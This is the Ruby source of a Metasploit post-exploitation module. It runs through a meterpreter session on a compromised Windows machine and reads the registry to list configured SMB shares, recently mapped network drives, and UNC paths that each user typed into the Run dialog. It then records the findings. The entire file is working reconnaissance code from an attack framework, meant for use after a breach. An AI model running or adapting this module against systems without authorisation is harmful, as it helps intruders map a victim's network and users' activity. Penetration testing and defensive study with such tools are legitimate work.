metasploit-framework/modules/post/windows/gather/enum_shares.rb

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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
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class MetasploitModule < Msf::Post
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include Msf::Post::Windows::Registry
include Msf::Post::Windows::Priv
def initialize(info={})
super( update_info( info,
'Name' => 'Windows Gather SMB Share Enumeration via Registry',
'Description' => %q{ This module will enumerate configured and recently used file shares},
'License' => MSF_LICENSE,
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ]
))
register_options(
[
OptBool.new("CURRENT" , [ true, "Enumerate currently configured shares" , true]),
OptBool.new("RECENT" , [ true, "Enumerate Recently mapped shares" , true]),
OptBool.new("ENTERED" , [ true, "Enumerate Recently entered UNC Paths in the Run Dialog" , true])
])
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end
# Stolen from modules/auxiliary/scanner/smb/smb_enumshares.rb
def share_type(val)
stypes = [
'DISK',
'PRINTER',
'DEVICE',
'IPC',
'SPECIAL',
'TEMPORARY'
]
if val > (stypes.length - 1)
return 'UNKNOWN'
end
stypes[val]
end
# Method for enumerating recent mapped drives on target machine
def enum_recent_mounts(base_key)
recent_mounts = []
partial_path = base_key + "\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer"
full_path = "#{partial_path}\\Map Network Drive MRU"
explorer_keys = registry_enumkeys(partial_path) || ''
if explorer_keys.include?("Map Network Drive MRU")
vals_found = registry_enumvals(full_path)
if vals_found
registry_enumvals(full_path).each do |k|
if not k =~ /MRUList/
recent_mounts << registry_getvaldata(full_path,k)
end
end
end
end
return recent_mounts
end
# Method for enumerating UNC Paths entered in run dialog box
def enum_run_unc(base_key)
unc_paths = []
full_path = base_key + "\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU"
vals_found = registry_enumvals(full_path)
if vals_found
vals_found.each do |k|
if k =~ /./
run_entrie = registry_getvaldata(full_path,k)
unc_paths << run_entrie if run_entrie =~ /^\\\\/
end
end
end
return unc_paths
end
# Method for enumerating configured shares on a target box
def enum_conf_shares()
if sysinfo["OS"] =~ /Windows 7|Vista|2008/
shares_key = "HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\services\\LanmanServer\\Shares"
else
shares_key = "HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\services\\lanmanserver\\Shares"
end
share_names = registry_enumvals(shares_key)
if share_names.length > 0
shares = []
print_status("The following shares were found:")
share_names.each do |sname|
info = registry_getvaldata(shares_key,sname)
next if info.nil?
share_info = info.split("\000")
print_status("\tName: #{sname}")
stype = remark = path = nil
share_info.each do |e|
name,val = e.split("=")
case name
when "Path"
print_status "\tPath: #{val}"
path = val
when "Type"
print_status "\tType: #{val}"
stype = share_type(val.to_i)
when "Remark"
remark = val
end
end
# Match the format used by auxiliary/scanner/smb/smb_enumshares
# with an added field for path
shares << [ sname, stype, remark, path ]
print_status()
end
report_note(
:host => session,
:type => 'smb.shares',
:data => { :shares => shares },
:update => :unique_data
)
else
print_status("No shares were found")
end
end
def run
print_status("Running against session #{datastore["SESSION"]}")
# Variables to hold info
mount_history = []
run_history = []
# Enumerate shares being offered
enum_conf_shares() if datastore["CURRENT"]
if is_system?
mount_history = enum_recent_mounts("HKEY_CURRENT_USER")
run_history = enum_run_unc("HKEY_CURRENT_USER")
else
user_sid = []
key = "HKU\\"
root_key, base_key = session.sys.registry.splitkey(key)
open_key = session.sys.registry.open_key(root_key, base_key)
keys = open_key.enum_key
keys.each do |k|
user_sid << k if k =~ /S-1-5-21-\d*-\d*-\d*-\d{3,6}$/
end
user_sid.each do |us|
mount_history = mount_history + enum_recent_mounts("HKU\\#{us.chomp}") if datastore["RECENT"]
run_history = run_history + enum_run_unc("HKU\\#{us.chomp}") if datastore["ENTERED"]
end
end
# Enumerate Mount History
if mount_history.length > 0
print_status("Recent Mounts found:")
mount_history.each do |i|
print_status("\t#{i}")
end
print_status()
end
# Enumerate UNC Paths entered in the Dialog box
if run_history.length > 0
print_status("Recent UNC paths entered in Run Dialog found:")
run_history.each do |i|
print_status("\t#{i}")
end
print_status()
end
end
end